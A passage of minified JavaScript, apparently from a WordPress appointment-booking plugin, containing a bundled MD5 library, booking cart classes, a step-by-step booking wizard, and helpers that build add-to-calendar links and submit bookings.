100%","motopress-appointment"),value:E,onChange:e=>{k({form_width:e})}}),wp.element.createElement(se,{label:s.__("Buttons Padding","motopress-appointment"),help:s.__("Example: 5px 10px","motopress-appointment"),value:S,onChange:e=>{k({buttons_padding:e})}}))))}};function pe(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var me,ce,he={exports:{}},de={exports:{}};me="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",ce={rotl:function(e,t){return e<<t|e>>>32-t},rotr:function(e,t){return e<<32-t|e>>>t},endian:function(e){if(e.constructor==Number)return 16711935&ce.rotl(e,8)|4278255360&ce.rotl(e,24);for(var t=0;t<e.length;t++)e[t]=ce.endian(e[t]);return e},randomBytes:function(e){for(var t=[];e>0;e--)t.push(Math.floor(256*Math.random()));return t},bytesToWords:function(e){for(var t=[],s=0,i=0;s<e.length;s++,i+=8)t[i>>>5]|=e[s]<<24-i%32;return t},wordsToBytes:function(e){for(var t=[],s=0;s<32*e.length;s+=8)t.push(e[s>>>5]>>>24-s%32&255);return t},bytesToHex:function(e){for(var t=[],s=0;s<e.length;s++)t.push((e[s]>>>4).toString(16)),t.push((15&e[s]).toString(16));return t.join("")},hexToBytes:function(e){for(var t=[],s=0;s<e.length;s+=2)t.push(parseInt(e.substr(s,2),16));return t},bytesToBase64:function(e){for(var t=[],s=0;s<e.length;s+=3)for(var i=e[s]<<16|e[s+1]<<8|e[s+2],n=0;n<4;n++)8*s+6*n<=8*e.length?t.push(me.charAt(i>>>6*(3-n)&63)):t.push("=");return t.join("")},base64ToBytes:function(e){e=e.replace(/[^A-Z0-9+\/]/gi,"");for(var t=[],s=0,i=0;s<e.length;i=++s%4)0!=i&&t.push((me.indexOf(e.charAt(s-1))&Math.pow(2,-2*i+8)-1)<<2*i|me.indexOf(e.charAt(s))>>>6-2*i);return t}},de.exports=ce;var ue=de.exports,ge={utf8:{stringToBytes:function(e){return ge.bin.stringToBytes(unescape(encodeURIComponent(e)))},bytesToString:function(e){return decodeURIComponent(escape(ge.bin.bytesToString(e)))}},bin:{stringToBytes:function(e){for(var t=[],s=0;s<e.length;s++)t.push(255&e.charCodeAt(s));return t},bytesToString:function(e){for(var t=[],s=0;s<e.length;s++)t.push(String.fromCharCode(e[s]));return t.join("")}}},ye=ge,be=function(e){return null!=e&&(_e(e)||function(e){return"function"==typeof e.readFloatLE&&"function"==typeof e.slice&&_e(e.slice(0,0))}(e)||!!e._isBuffer)};function _e(e){return!!e.constructor&&"function"==typeof e.constructor.isBuffer&&e.constructor.isBuffer(e)}!function(){var e=ue,t=ye.utf8,s=be,i=ye.bin,n=function(a,o){a.constructor==String?a=o&&"binary"===o.encoding?i.stringToBytes(a):t.stringToBytes(a):s(a)?a=Array.prototype.slice.call(a,0):Array.isArray(a)||a.constructor===Uint8Array||(a=a.toString());for(var r=e.bytesToWords(a),l=8*a.length,p=1732584193,m=-271733879,c=-1732584194,h=271733878,d=0;d<r.length;d++)r[d]=16711935&(r[d]<<8|r[d]>>>24)|4278255360&(r[d]<<24|r[d]>>>8);r[l>>>5]|=128<<l%32,r[14+(l+64>>>9<<4)]=l;var u=n._ff,g=n._gg,y=n._hh,b=n._ii;for(d=0;d<r.length;d+=16){var _=p,f=m,v=c,w=h;p=u(p,m,c,h,r[d+0],7,-680876936),h=u(h,p,m,c,r[d+1],12,-389564586),c=u(c,h,p,m,r[d+2],17,606105819),m=u(m,c,h,p,r[d+3],22,-1044525330),p=u(p,m,c,h,r[d+4],7,-176418897),h=u(h,p,m,c,r[d+5],12,1200080426),c=u(c,h,p,m,r[d+6],17,-1473231341),m=u(m,c,h,p,r[d+7],22,-45705983),p=u(p,m,c,h,r[d+8],7,1770035416),h=u(h,p,m,c,r[d+9],12,-1958414417),c=u(c,h,p,m,r[d+10],17,-42063),m=u(m,c,h,p,r[d+11],22,-1990404162),p=u(p,m,c,h,r[d+12],7,1804603682),h=u(h,p,m,c,r[d+13],12,-40341101),c=u(c,h,p,m,r[d+14],17,-1502002290),p=g(p,m=u(m,c,h,p,r[d+15],22,1236535329),c,h,r[d+1],5,-165796510),h=g(h,p,m,c,r[d+6],9,-1069501632),c=g(c,h,p,m,r[d+11],14,643717713),m=g(m,c,h,p,r[d+0],20,-373897302),p=g(p,m,c,h,r[d+5],5,-701558691),h=g(h,p,m,c,r[d+10],9,38016083),c=g(c,h,p,m,r[d+15],14,-660478335),m=g(m,c,h,p,r[d+4],20,-405537848),p=g(p,m,c,h,r[d+9],5,568446438),h=g(h,p,m,c,r[d+14],9,-1019803690),c=g(c,h,p,m,r[d+3],14,-187363961),m=g(m,c,h,p,r[d+8],20,1163531501),p=g(p,m,c,h,r[d+13],5,-1444681467),h=g(h,p,m,c,r[d+2],9,-51403784),c=g(c,h,p,m,r[d+7],14,1735328473),p=y(p,m=g(m,c,h,p,r[d+12],20,-1926607734),c,h,r[d+5],4,-378558),h=y(h,p,m,c,r[d+8],11,-2022574463),c=y(c,h,p,m,r[d+11],16,1839030562),m=y(m,c,h,p,r[d+14],23,-35309556),p=y(p,m,c,h,r[d+1],4,-1530992060),h=y(h,p,m,c,r[d+4],11,1272893353),c=y(c,h,p,m,r[d+7],16,-155497632),m=y(m,c,h,p,r[d+10],23,-1094730640),p=y(p,m,c,h,r[d+13],4,681279174),h=y(h,p,m,c,r[d+0],11,-358537222),c=y(c,h,p,m,r[d+3],16,-722521979),m=y(m,c,h,p,r[d+6],23,76029189),p=y(p,m,c,h,r[d+9],4,-640364487),h=y(h,p,m,c,r[d+12],11,-421815835),c=y(c,h,p,m,r[d+15],16,530742520),p=b(p,m=y(m,c,h,p,r[d+2],23,-995338651),c,h,r[d+0],6,-198630844),h=b(h,p,m,c,r[d+7],10,1126891415),c=b(c,h,p,m,r[d+14],15,-1416354905),m=b(m,c,h,p,r[d+5],21,-57434055),p=b(p,m,c,h,r[d+12],6,1700485571),h=b(h,p,m,c,r[d+3],10,-1894986606),c=b(c,h,p,m,r[d+10],15,-1051523),m=b(m,c,h,p,r[d+1],21,-2054922799),p=b(p,m,c,h,r[d+8],6,1873313359),h=b(h,p,m,c,r[d+15],10,-30611744),c=b(c,h,p,m,r[d+6],15,-1560198380),m=b(m,c,h,p,r[d+13],21,1309151649),p=b(p,m,c,h,r[d+4],6,-145523070),h=b(h,p,m,c,r[d+11],10,-1120210379),c=b(c,h,p,m,r[d+2],15,718787259),m=b(m,c,h,p,r[d+9],21,-343485551),p=p+_>>>0,m=m+f>>>0,c=c+v>>>0,h=h+w>>>0}return e.endian([p,m,c,h])};n._ff=function(e,t,s,i,n,a,o){var r=e+(t&s|~t&i)+(n>>>0)+o;return(r<<a|r>>>32-a)+t},n._gg=function(e,t,s,i,n,a,o){var r=e+(t&i|s&~i)+(n>>>0)+o;return(r<<a|r>>>32-a)+t},n._hh=function(e,t,s,i,n,a,o){var r=e+(t^s^i)+(n>>>0)+o;return(r<<a|r>>>32-a)+t},n._ii=function(e,t,s,i,n,a,o){var r=e+(s^(t|~i))+(n>>>0)+o;return(r<<a|r>>>32-a)+t},n._blocksize=16,n._digestsize=16,he.exports=function(t,s){if(null==t)throw new Error("Illegal argument "+t);var a=e.wordsToBytes(n(t,s));return s&&s.asBytes?a:s&&s.asString?i.bytesToString(a):e.bytesToHex(a)}}();var fe=pe(he.exports);class ve{setupProperties(){this.itemId="",this.service=null,this.serviceCategories={},this.employee=null,this.location=null,this.date=null,this.time=null,this.capacity=1,this.availableEmployees=[],this.availableLocations=[],this.bookingVariants=[]}constructor(e){this.setupProperties(),this.itemId=e}getDate(){return this.date}getTime(){return this.time}getItemId(){return this.itemId}getAvailableEmployeeIds(){return this.availableEmployees.map((e=>e.id))}getAvailableLocationIds(){return this.availableLocations.map((e=>e.id))}getAvailableIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,employee_ids:this.getAvailableEmployeeIds(),location_ids:this.getAvailableLocationIds()}}getIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,location_id:null!==this.location?this.location.id:0}}toArray(e="all"){return"ids"===e?this.getIds():"availability"===e?this.getAvailableIds():"period"===e?{date:null!==this.date?E(this.date,"internal"):"",time:null!==this.time?this.time.toString("internal"):""}:jQuery.extend(this.getIds(),{date:null!==this.date?E(this.date,"internal"):"",time:null!==this.time?this.time.toString("internal"):"",capacity:this.capacity})}isSet(e="all"){let t=!0;return"all"!==e&&"ids"!==e||(t=t&&null!==this.service&&null!==this.employee&&null!==this.location),"all"!==e&&"period"!==e||(t=t&&null!==this.date&&null!==this.time),t}isAtTime(e,t){return null!==this.date&&null!==this.time&&E(this.date,"internal")==E(e,"internal")&&this.time.toString("internal")==t.toString("internal")}getCapacity(){return this.capacity}getMinCapacity(){return null!==this.service?this.service.getMinCapacity(this.getEmployeeId()):1}getMaxCapacity(){return null!==this.service?this.service.getMaxCapacity(this.getEmployeeId()):1}getMinPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMaxCapacity();for(let t of this.bookingVariants)e=Math.min(e,t.minCapacity);return e}}getMaxPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMinCapacity();for(let t of this.bookingVariants)e=Math.max(e,t.maxCapacity);return e}}getCapacityOptions(){if(null===this.service)return[1];{let e=[];for(let t of this.bookingVariants)e=e.concat(c(t.minCapacity,t.maxCapacity));return l(e)}}getPrice(){if(!this.service)return 0;let e=this.employee?this.employee.id:0;return this.service.getPrice(e,this.capacity)}getDeposit(e){let t=0;switch(this.service.depositType){case"disabled":default:t=e;break;case"fixed":t=this.service.depositAmount;break;case"percentage":t=e*this.service.depositAmount/100}return t>e?e:t}getHash(e="all"){return fe(JSON.stringify(this.toArray(e)))}didChange(e,t="all"){return e!==this.getHash(t)}getEmployeeId(){return this.employee?this.employee.getId():0}getEmployee(e){if(null!==this.employee&&this.employee.getId()==e)return this.employee;for(let t of this.availableEmployees)if(t.id==e)return t;return null}getLocationId(){return this.location?this.location.getId():0}getLocation(e){if(null!==this.location&&this.location.id==e)return this.location;for(let t of this.availableLocations)if(t.id==e)return t;return null}getService(){return this.service}hasMultipleAvailableEmployees(){return this.availableEmployees.length>1}hasMultipleAvailableLocations(){return this.availableLocations.length>1}hasMultipleAvailableVariants(){return this.hasMultipleAvailableEmployees()||this.hasMultipleAvailableLocations()}setService(e){this.service=e}setServiceCategories(e){this.serviceCategories=e}setEmployee(e,t=!0){"number"==typeof e&&(e=this.getEmployee(e)),this.employee=e,!0===t&&(this.availableEmployees=[e])}setAvailableEmployees(e,t=!0){this.availableEmployees=e,!0===t&&(this.employee=null)}setLocation(e,t=!0){"number"==typeof e&&(e=this.getLocation(e)),this.location=e,!0===t&&(this.availableLocations=[e])}setAvailableLocations(e,t=!0){this.availableLocations=e,!0===t&&(this.location=null)}setCapacity(e){this.capacity=e}setBookingVariants(e){this.bookingVariants=[];for(let t of e)this.bookingVariants.push({employeeId:t[0],locationId:t[1],minCapacity:t[2],maxCapacity:t[3]})}getBookingVariantForCapacity(e){for(let t of this.bookingVariants)if(e>=t.minCapacity&&e<=t.maxCapacity)return t;return{employeeId:this.getEmployeeId(),locationId:this.getLocationId(),minCapacity:this.getMinCapacity(),maxCapacity:this.getMaxCapacity()}}removeBookingVariatForEmployee(e){for(let t in this.bookingVariants){this.bookingVariants[t].employeeId==e&&this.bookingVariants.splice(t,1)}}}let we=class{constructor(e=null){this.setupProperties(),null!=e&&this.merge(e)}setupProperties(){this.keys=[],this.values={},this.length=0}merge(e){for(let t in e)this.push(t,e[t])}push(e,t){let s=!this.includesKey(e);return this.values[e]=t,s&&(this.keys.push(e),this.length++),s}find(e,t=null){return this.includesKey(e)?this.values[e]:t}findNext(e,t=null){let s=this.findNextKey(e);return""!==s?this.values[s]:t}findNextKey(e){let t=this.keys.indexOf(e);if(-1===t)return"";let s=t+1;return s<this.length?this.keys[s]:this.keys[t]}findPrevious(e,t=null){let s=this.findPreviousKey(e);return""!==s?this.values[s]:t}findPreviousKey(e){let t=this.keys.indexOf(e);if(-1===t)return"";let s=t-1;return s>=0?this.keys[s]:this.keys[t]}update(e,t){return this.push(e,t)}remove(e){if(!this.includesKey(e))return null;let t=this.values[e];delete this.values[e];let s=this.keys.indexOf(e);return this.keys.splice(s,1),this.length--,t}empty(){return this.keys=[],this.values={},this.length=0,this}isEmpty(){return 0==this.length}includesKey(e){return e in this.values}firstKey(){return this.keys.length>0?this.keys[0]:null}firstValue(){let e=this.firstKey();return null!==e?this.values[e]:null}lastValue(){let e=this.lastKey();return null!=e?this.values[e]:null}lastKey(){return this.isEmpty()?null:this.keys[this.length-1]}cloneKeys(){return[...this.keys]}getColumn(e){let t=[];for(let s of this.keys){let i=this.values[s][e];null!=i&&(Array.isArray(i)?t=t.concat(i):t.push(i))}return l(t)}forEach(e){let t=0;for(let s of this.keys){let i=e(this.values[s],t,s,this);if(t++,!1===i)break}}map(e){let t=[],s=0;for(let i of this.keys)t.push(e(this.values[i],s,i,this)),s++;return t}toArray(){let e=[];for(let t of this.keys)e.push(this.values[t]);return e}getLength(){return this.length}};class Ce{setupProperties(){this.items=new we,this.activeItem=null,this.customerDetails={name:"",email:"",phone:""},this.paymentDetails={booking_id:0,gateway_id:"none"},this.coupon=null,this.bookingNonce=mpaData.nonces.mpa_create_booking}constructor(){this.setupProperties()}createItem(e=""){e||(e=K());let t=new ve(e);return this.items.push(e,t),this.activeItem=t,t}getItem(e){return this.items.find(e)}getActiveItem(){return this.activeItem}getActiveItemId(){return null!==this.activeItem?this.activeItem.getItemId():""}getItems(){return this.items}getItemsCount(){return this.items.getLength()}setActiveItem(e){this.activeItem="string"==typeof e?this.getItem(e):e}removeItem(e){"string"==typeof e?this.items.remove(e):this.items.remove(e.getItemId())}isEmpty(){return 0===this.getItemsCount()}getProducts(){let e=[];return this.items.forEach((t=>{null!=t.service&&e.push({name:t.service.name,price:t.getPrice(),capacity:t.getCapacity(),quantity_label:t.getService().getQuantityLabel()})})),e}getSubtotalPrice(e=null){null===e&&(e=this.getProducts());let t=0;for(let s of e)t+=s.price;return t}getTotalPrice(e=null){let t=this.getSubtotalPrice(e);if(this.hasCoupon()){let e=this.coupon.calcDiscountAmount(this);return Math.max(0,t-e)}return t}getDeposit(){let e=0;return this.items.forEach((t=>{let s=t.getPrice();this.hasCoupon()&&(s-=this.coupon.calcDiscountForCartItem(t)),e+=t.getDeposit(s)})),e}getCustomer(){return this.customerDetails}getOrder(){let e=this.getProducts(),t={products:e,subtotal:this.getSubtotalPrice(e),total:this.getTotalPrice(e),customer:this.getCustomer()};return this.hasCoupon()&&(t.coupon={code:this.coupon.getCode(),amount:this.coupon.calcDiscountAmount(this)}),t.deposit=this.getDeposit(),t}getPaymentDetails(){return this.paymentDetails}toArray(e="all"){let t={items:[],customer:this.customerDetails};return this.items.forEach((e=>{e.isSet()&&t.items.push(e.toArray())})),C().settings().isPaymentsEnabled()&&(t.payment_details=this.paymentDetails),this.hasCoupon()&&(t.coupon=this.coupon.getCode()),"items"===e?t.items:t}getHash(e="all"){return fe("order"!==e?JSON.stringify(this.toArray(e)):JSON.stringify(this.getOrder()))}didChange(e,t="all"){return e!==this.getHash(t)}setCustomerDetails(e){jQuery.extend(this.customerDetails,e)}setPaymentDetails(e){jQuery.extend(this.paymentDetails,e)}reset(){this.setupProperties()}getMinDate(){let e=null;return this.items.forEach((t=>{t.date&&(!e||e>t.date)&&(e=new Date(t.date.getTime()))})),e||P()}getServiceIds(){let e=this.items.map((e=>null!=e.service?e.service.id:0));return e=l(e),e}updateServices(e){for(let t of e)this.items.forEach((e=>{null!=e.service&&e.service.id===t.id&&(e.service=t)}))}setCoupon(e){this.coupon=e}removeCoupon(){this.coupon=null}hasCoupon(){return null!=this.coupon}testCoupon(){this.hasCoupon()&&!this.coupon.isApplicableForCart(this)&&this.removeCoupon()}getBookingNonce(){return this.bookingNonce}setBookingNonce(e){this.bookingNonce=e}}class Se{constructor(e){this.cart=e,this.steps=new we,this.currentStep=null,this.currentStepId=""}addStep(e){return this.steps.push(e.stepId,e),this}getStep(e){return this.steps.find(e)}mount(e){this.addListeners(e)}addListeners(e){e.children(".mpa-booking-step").on("mpa_booking_step_next",((e,t)=>this.onStep("next",t))).on("mpa_booking_step_back",((e,t)=>this.onStep("back",t))).on("mpa_booking_step_new",((e,t)=>this.onStep("new",t))).on("mpa_reset_booking",((e,t)=>this.onStep("reset",t)))}onStep(e,t){if(!t||!t.step||t.step===this.currentStepId)switch(e){case"next":this.goToNextStep();break;case"back":this.goToPreviousStep();break;case"new":this.goToFirstStep();break;case"reset":this.reset()}}goToNextStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findNextKey(this.currentStepId):this.steps.firstKey();e!==this.currentStepId&&(this.switchStep(e),this.skipNextHiddenSteps())}skipNextHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.submit()}))}goToPreviousStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findPreviousKey(this.currentStepId):"";e&&e!==this.currentStepId&&(this.switchStep(e),this.skipPreviousHiddenSteps())}skipPreviousHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.cancel()}))}goToFirstStep(){if(this.steps.isEmpty())return;this.cart.createItem(),this.steps.forEach((e=>{"cart item"===e.getCartContext()&&e.reset()}));let e=this.steps.firstKey();this.switchStep(e),this.skipNextHiddenSteps()}goToStep(e){this.switchStep(e)}getFirstVisibleStepId(){let e=null;return this.steps.forEach((t=>{if(!1===t.isHiddenStep)return e=t.stepId,!1})),e}isFirstVisibleStepId(e){return this.getFirstVisibleStepId()===e}switchStep(e){let t=this.steps.find(e);null!=t&&(this.isFirstVisibleStepId(e)&&t.hideButtonBack(),null!=this.currentStep&&this.currentStep.hide(),this.currentStep=t,this.currentStepId=e,t.load(),t.ready().finally((()=>t.show())))}reset(){this.cart.reset(),this.goToFirstStep(),this.steps.forEach((e=>{"cart item"!==e.getCartContext()&&e.reset()}))}}class Ee{constructor(e,t){this.$element=e,this.cart=t,this.setupProperties(),this.addListeners()}setupProperties(){this.stepId=this.theId(),this.schema=this.propertiesSchema(),this.isActive=!1,this.isLoaded=!1,this.isHiddenStep=!1,this.preventReact=!1,this.preventUpdate=!1,this.hideButtons=!1,this.readyPromise=null,this.$buttons=this.$element.find(".mpa-actions"),this.$buttonBack=this.$buttons.find(".mpa-button-back"),this.$buttonNext=this.$buttons.find(".mpa-button-next")}theId(){return"abstract"}getCartContext(){return"cart"}propertiesSchema(){return{}}addListeners(){this.$buttonBack.on("click",this.cancel.bind(this)),this.$buttonNext.on("click",this.submit.bind(this))}load(){this.isLoaded?this.readyPromise=this.reload():(this.readyPromise=this.loadEntities(),this.isLoaded=!0)}loadEntities(){return Promise.resolve(this)}reload(){return Promise.resolve(this)}reset(){}ready(){return this.readyPromise}isValidInput(){return!1}setProperty(e,t){if(this.preventUpdate)return;let s=this.validateProperty(e,t);if(s===this[e])return;let i=this.preventReact;this.preventReact=!0,this.updateProperty(e,s),i||(this.isActive&&this.react(),this.preventReact=!1)}resetProperty(e){this.setProperty(e)}validateProperty(e,t){let s=t;if(e in this.schema){let i=this.schema[e];if(null==t)s=i.default;else{switch(i.type){case"bool":s=T(t);break;case"integer":s=$(t)}if(!Q(s)&&null!=i.options){i.options.indexOf(s)>=0||(s=this[e])}}}else null==t&&(s=null);return s}updateProperty(e,t){let s=this[e];this[e]=t,this.afterUpdate(e,t,s)}afterUpdate(e,t,s){}react(){let e=this.isValidInput();this.$buttonNext.prop("disabled",!e),this.hideButtons&&this.$buttons.toggleClass("mpa-hide",!e)}show(){this.enable(),this.react(),this.$element.removeClass("mpa-hide"),this.readyPromise.finally((()=>this.showReady()))}showReady(){this.$element.addClass("mpa-loaded"),this.hideButtons||this.$buttons.removeClass("mpa-hide")}hide(){this.disable(),this.$element.addClass("mpa-hide")}enable(){this.isActive=!0,this.$buttonBack.prop("disabled",!1),this.$buttonNext.prop("disabled",!1)}disable(){this.isActive=!1,this.$buttonBack.prop("disabled",!0),this.$buttonNext.prop("disabled",!0)}cancel(e){void 0!==e&&e.stopPropagation(),this.isActive&&(this.disable(),this.triggerBack())}submit(e){if(void 0!==e&&e.stopPropagation(),!this.isActive||!this.isValidInput())return;this.disable();let t=this.maybeSubmit();null==t?this.triggerNext():"object"!=typeof t?t?this.triggerNext():this.cancelSubmission():t.then(this.triggerNext.bind(this),this.cancelSubmission.bind(this))}maybeSubmit(){}cancelSubmission(){this.enable(),this.react()}triggerBack(){this.$element.trigger("mpa_booking_step_back",{step:this.stepId})}triggerNext(){this.$element.trigger("mpa_booking_step_next",{step:this.stepId})}hideButtonBack(){this.$buttonBack.prop("disabled",!0),this.$buttonBack.toggleClass("mpa-hide",!0)}}class ke{static calculateTimezoneOffset(e){if("UTC"===e)return 0;const[t,s]=e.split(":").map(Number);if(isNaN(t)||isNaN(s))throw new Error("Unknown timezone format: "+e);return 60*t+s}static applyTimezoneOffset(e,t){const s=new Date(e);return s.setMinutes(e.getMinutes()-t),s}static isTimezoneProvideByIANA(e){return/^[A-Za-z]+\/[A-Za-z_]+(\/[A-Za-z_]+)?$/.test(e)}static formatDateToCalendar(e){return e.toISOString().replace(/-|:|\.\d{3}/g,"")}static formatDateToCalendarLocal(e){return e.toISOString().replace(/-|:|\.\d{3}|Z/g,"")}static formatDateForOffsetTimeZone(e,t){const s=(new Date).getTimezoneOffset();let i=this.applyTimezoneOffset(e,s);const n=this.calculateTimezoneOffset(t);return i=this.applyTimezoneOffset(i,n),this.formatDateToCalendar(i)}static formatDateForIANATimeZone(e){const t=(new Date).getTimezoneOffset();let s=this.applyTimezoneOffset(e,t);return this.formatDateToCalendarLocal(s)}static formatDateForCalendar(e,t){return this.isTimezoneProvideByIANA(t)?this.formatDateForIANATimeZone(e):this.formatDateForOffsetTimeZone(e,t)}static createICSURL(e,t,s,i,n,a){const o=C().settings().getTimezone();let r=this.formatDateForCalendar(t,o),l=this.formatDateForCalendar(s,o);0===t.getHours()&&0===t.getMinutes()&&0===s.getHours()&&0===s.getMinutes()&&(r=r.replace(/T\d\d\d\d\d\d|Z/g,""),l=l.replace(/T\d\d\d\d\d\d|Z/g,""));const p=["BEGIN:VCALENDAR","VERSION:2.0",`PRODID:${C().settings().getBusinessName()}`];this.isTimezoneProvideByIANA(o)&&p.push("BEGIN:VTIMEZONE","TZID:"+o,"END:VTIMEZONE");let m={dtstamp:"DTSTAMP:"+this.formatDateToCalendar(new Date),uid:"UID:"+e,dtstart:"DTSTART"+(this.isTimezoneProvideByIANA(o)?";TZID="+o+":":":")+r,dtend:"DTEND"+(this.isTimezoneProvideByIANA(o)?";TZID="+o+":":":")+l,summary:"SUMMARY:"+i,description:"DESCRIPTION:"+n,location:"LOCATION:"+a};m=wp.hooks.applyFilters("mpa_prepare_vevent_data",m);let c=Object.values(m);p.push("BEGIN:VEVENT",...c,"END:VEVENT"),p.push("END:VCALENDAR");const h=p.join("\n"),d=new Blob([h],{type:"text/calendar"});return window.URL.createObjectURL(d)}static createGoogleCalendarURL(e,t,s,i,n){const a=new URL("https://www.google.com/calendar/render"),o=C().settings().getTimezone();let r=this.formatDateForCalendar(e,o),l=this.formatDateForCalendar(t,o);return 0===e.getHours()&&0===e.getMinutes()&&0===t.getHours()&&0===t.getMinutes()&&(r=r.replace(/T\d\d\d\d\d\d|Z/g,""),l=l.replace(/T\d\d\d\d\d\d|Z/g,"")),a.search=new URLSearchParams({action:"TEMPLATE",text:s,dates:`${r}/${l}`,details:i,location:n}).toString(),this.isTimezoneProvideByIANA(o)&&a.searchParams.append("ctz",o),a.toString()}static createYahooCalendarURL(e,t,s,i,n){const a=new URL("https://calendar.yahoo.com/"),o=C().settings().getTimezone();let r=this.formatDateForCalendar(e,o),l=this.formatDateForCalendar(t,o),p={v:"60",view:"d",type:"20",title:s,desc:i,in_loc:n};return 0===e.getHours()&&0===e.getMinutes()&&0===t.getHours()&&0===t.getMinutes()?(p.st=r.replace(/T\d\d\d\d\d\d|Z/g,""),p.dur="allday"):(p.st=r,p.et=l),a.search=new URLSearchParams(p).toString(),a.toString()}}class Pe{constructor(e,t){this.cart=t,this.$bookingDetailsSection=e,this.$bookingCartItems=this.$bookingDetailsSection.find(".booking-reservations"),this.$bookingCartItem=this.$bookingCartItems.find(".reservation"),this.$addToCalendarGoogle=this.$bookingCartItem.find(".mpa-add-to-calendar-link--google"),this.$addToCalendarApple=this.$bookingCartItem.find(".mpa-add-to-calendar-link--apple"),this.$addToCalendarOutlook=this.$bookingCartItem.find(".mpa-add-to-calendar-link--outlook"),this.$addToCalendarYahoo=this.$bookingCartItem.find(".mpa-add-to-calendar-link--yahoo")}assignURL(e,t){e.attr("href",t)}initBookingCart(){this.$bookingCartItems.empty(),wp.hooks.doAction("mpa_booking_details_section_init",this.$bookingDetailsSection,this.cart),this.cart.items.forEach((e=>{let t=this.$bookingCartItem.clone();this.$bookingCartItems.append(t);const s=e.getService(),i=s.getName(),n=e.employee.name+". "+s.getQuantityLabel()+": "+e.getCapacity()+".";let a=i;e.getCapacity()>1&&(a+=" ",a+='<span class="mpa-reservation-capacity">',a+=s.getQuantityLabel()+": "+e.getCapacity(),a+="</span>"),t.find(".reservation-title").html(a),t.find(".reservation-date").html(E(e.date)),t.find(".reservation-time").html(e.time.toString());const o=ke.createICSURL(e.getItemId(),e.time.startTime,e.time.endTime,i,n,wp.hooks.applyFilters("mpa_booking_cart_item_location_ics",e.location.name,e)),r=ke.createGoogleCalendarURL(e.time.startTime,e.time.endTime,i,n,wp.hooks.applyFilters("mpa_booking_cart_item_location_google",e.location.name,e)),l=ke.createYahooCalendarURL(e.time.startTime,e.time.endTime,i,n,wp.hooks.applyFilters("mpa_booking_cart_item_location_yahoo",e.location.name,e));this.assignURL(t.find(".mpa-add-to-calendar-link--google"),r),this.assignURL(t.find(".mpa-add-to-calendar-link--apple"),o),this.assignURL(t.find(".mpa-add-to-calendar-link--outlook"),o),this.assignURL(t.find(".mpa-add-to-calendar-link--yahoo"),l)})),this.$bookingDetailsSection.toggleClass("mpa-hide",!1)}reset(){this.$bookingDetailsSection.toggleClass("mpa-hide",!0);const e="#";this.assignURL(this.$addToCalendarGoogle,e),this.assignURL(this.$addToCalendarApple,e),this.assignURL(this.$addToCalendarOutlook,e),this.assignURL(this.$addToCalendarYahoo,e)}}class Ie extends Ee{setupProperties(){super.setupProperties(),this.hideButtons=!0,this.isPosted=!1,this.isBooked=!1,this.$message=this.$element.find(".mpa-message").first(),this.$buttonReset=this.$buttons.find(".mpa-button-reset"),this.$bookingDetails=this.$element.find(".mpa-booking-details").first(),this.$bookingDetails.length>0&&(this.bookingDetails=new Pe(this.$bookingDetails,this.cart))}reload(){return this.isPosted=!1,this.isBooked=!1,this.setMessage(h("Making a reservation...","motopress-appointment")+' <span class="mpa-preloader"></span>'),this.bookingDetails&&this.bookingDetails.reset(),Promise.resolve(this)}addListeners(){super.addListeners(),this.$buttonReset.on("click",this.resetForm.bind(this))}theId(){return"booking"}react(){this.isPosted&&(this.$buttons.removeClass("mpa-hide"),this.$buttonBack.toggleClass("mpa-hide",this.isBooked),this.$buttonReset.toggleClass("mpa-hide",!this.isBooked||this.isRedirectNeeded()))}show(){super.show(),this.createBooking()}createBooking(){f("/bookings",{...wp.hooks.applyFilters("mpa_booking_cart_data",this.cart.toArray()),nonce:this.cart.getBookingNonce()}).then((e=>{this.isRedirectNeeded()?this.redirectPayment():(this.isPosted=this.isBooked=!0,this.cart.paymentDetails.booking_id=e.booking_id,wp.hooks.doAction("mpa_booking_cart_response",e,this.cart),this.setMessage(e.message),this.bookingDetails&&this.bookingDetails.initBookingCart(),this.react())}),(e=>{this.isPosted=!0,this.setMessage(e.message),this.react()}))}showReady(){super.showReady(),this.$buttonBack.addClass("mpa-hide"),this.$buttonReset.addClass("mpa-hide")}setMessage(e){this.$message.html(e)}redirectPayment(){this.setMessage(h("You will be redirected to a secure page to complete the payment.","motopress-appointment"));let e=this.cart.getPaymentDetails();window.location.href=e.redirect_url}isRedirectNeeded(){let e=this.cart.getPaymentDetails();return"redirect_url"in e&&""!=e.redirect_url}resetForm(e){e.preventDefault(),this.isPosted&&this.isBooked&&this.$element.trigger("mpa_reset_booking")}}function Te(e){let t="";for(let s in e)t+=" "+s+'="'+e[s]+'"';return t}function $e(e,t={}){return"<button"+Te(t=jQuery.extend({},{type:"button",class:"button"},t))+">"+e+"</button>"}function De(e,t){let s={service_id:".mpa-service-id",service_name:".mpa-service-name",service_thumbnail:".mpa-service-thumbnail",employee_id:".mpa-employee-id",employee_name:".mpa-employee-name",location_id:".mpa-location-id",location_name:".mpa-location-name",reservation_date:".mpa-reservation-date",reservation_save_date:".mpa-reservation-save-date",reservation_time:".mpa-reservation-time",reservation_period:".mpa-reservation-period",reservation_save_period:".mpa-reservation-save-period",reservation_capacity:".mpa-reservation-capacity",reservation_clients:".mpa-reservation-clients",reservation_clients_count:".mpa-reservation-clients-count",reservation_price:".mpa-reservation-price"},i=t.clone();i.attr("data-id",e.getItemId());let n=e.getCapacityOptions();for(let t in s){let a=s[t],o=i.find(a).first(),r="{"+t+"}";if(!(o.length>0?o.html():"").includes(r))continue;let 